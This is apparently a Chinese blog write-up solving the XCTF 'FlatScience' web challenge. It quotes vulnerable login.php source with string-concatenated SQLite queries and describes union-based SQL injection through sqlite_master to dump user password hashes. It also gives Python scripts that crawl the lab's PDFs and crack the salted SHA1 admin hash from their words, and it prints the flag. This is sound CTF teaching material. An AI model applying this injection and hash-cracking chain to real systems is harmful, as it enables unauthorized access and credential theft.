【攻防世界】Web系列之FlatScience

【攻防世界】Web系列之FlatScience

分析

访问靶场页面如下,可以点击获得不同文章

获得多个pdf文章

根据目前提示消息无法得出有利思路,使用目录扫描爆破存在路径,有一个robots.txt

访问robots.txt,得到两个连接/login.php和/admin.php

依次访问/login.php和/admin.php两个登录页面

经过对这两个页面源代码的观察和基本测试,得到下面的线索

  • login.php的debug模式开启
  • admin.php提示不能绕过

首先访问下login.php的debug页面,如下

得到的源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>


<div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div>

<h1>Login</h1>

Login Page, do not try to hax here plox!<br>


<form method="post">
ID:<br>
<input type="text" name="usr">
<br>
Password:<br>
<input type="text" name="pw">
<br><br>
<input type="submit" value="Submit">
</form>

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->




<hr noshade>
<address>Flux Horst (Flux dot Horst at rub dot flux)</address>
</body>

在上述代码中,可以看到下面的数据库查询语句有明显的注入漏洞,直接将post请求中的usr参数拼接到查询语句中

1
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");这句

那么,我们就需要对user这个参数进行SQL注入,如下测试是否有回显报错信息

接下来测试查询字段,如下可得到查询字段为2

下面查询回显字段,可以看到联合查询的2在响应报文中的Set-Cookie字段中,第二个字段为回显字段

查询目标数据库信息,使用sqlite_version(),得到数据库版本为3.0.10.2

解题

tip

由于这里的数据库为sqlite3,SQLite 注入的基本操作与 MySQL 注入相似,MySQL 有的 SQLite 基本都有,一个最大的不同就是没有 information_schema,但有sqlite_master表,记录用户创建表时的操作信息。

下面我们来对sqlite3数据库操作一下,如下图

我们可以看到在sqlite_master数据表中有我们创建的student数据表时的sql语句和表名,接下来就可以去进行注入查询

注入

查看表名,存在Users,sqlite_autoindex_Users_1

查看创建Users表时的sql语句

获得sql语句如下,在创建Users数据表时,有id、name、password和hint四个字段

1
2
3
4
5
CREATE TABLE Users
(id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255))

接下来可依次查询name字段和password字段,得到三组用户及其密码hash值(无法直接爆破出明文)

1
2
3
admin,  3fab54a50e770d830c0416df817567662a9dc85c;
fritze, 54eae8935c90f467427f05e4ece82cf569f89507;
hansi, 34b0bb7c304949f9ff2fc101eef0f048be10d3bd

爆破

这时根据首页中的论文想到,可能密码就是其中某个单词,所以想办法获取所有pdf中的单词,然后计算hash值来爆破得到正确的密码

  • 首先爬取网页中所有的pdf文件并下载到指定目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []


def get_pdf(url):
global pdf_list
print(url)
req = requests.get(url).text
re_1 = re.findall(re1, req)
for i in re_1:
pdf_url = url + i
pdf_list.append(pdf_url)
re_2 = re.findall(re2, req)
for j in re_2:
new_url = url + j[0:2]
get_pdf(new_url)
return pdf_list




pdf_list=get_pdf('http://61.147.171.105:51580/')
print(pdf_list)
for i in pdf_list:
os.system('curl '+'-O '+i)



下载得到多个pdf文件

下面就是将pdf转换为txt,在将其中的单词计算sha1值去和3fab54a50e770d830c0416df817567662a9dc85c作比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_to_txt(path_to_file):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
codec = 'utf-8'
laparams = LAParams()
device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
fp = open(path_to_file, 'rb')
interpreter = PDFPageInterpreter(rsrcmgr, device)
password = ""
maxpages = 0
caching = True
pagenos=set()

for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
interpreter.process_page(page)

text = retstr.getvalue()

fp.close()
device.close()
retstr.close()
return text


def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print ("Searching word in " + i)
pdf_text = convert_pdf_to_txt("./"+i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
print ("Find the password :" + word)
exit()


if __name__ == "__main__":
find_password()

最后得到ThinJerboa

在admin.php中输入password即可得到flag

得到flag为flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信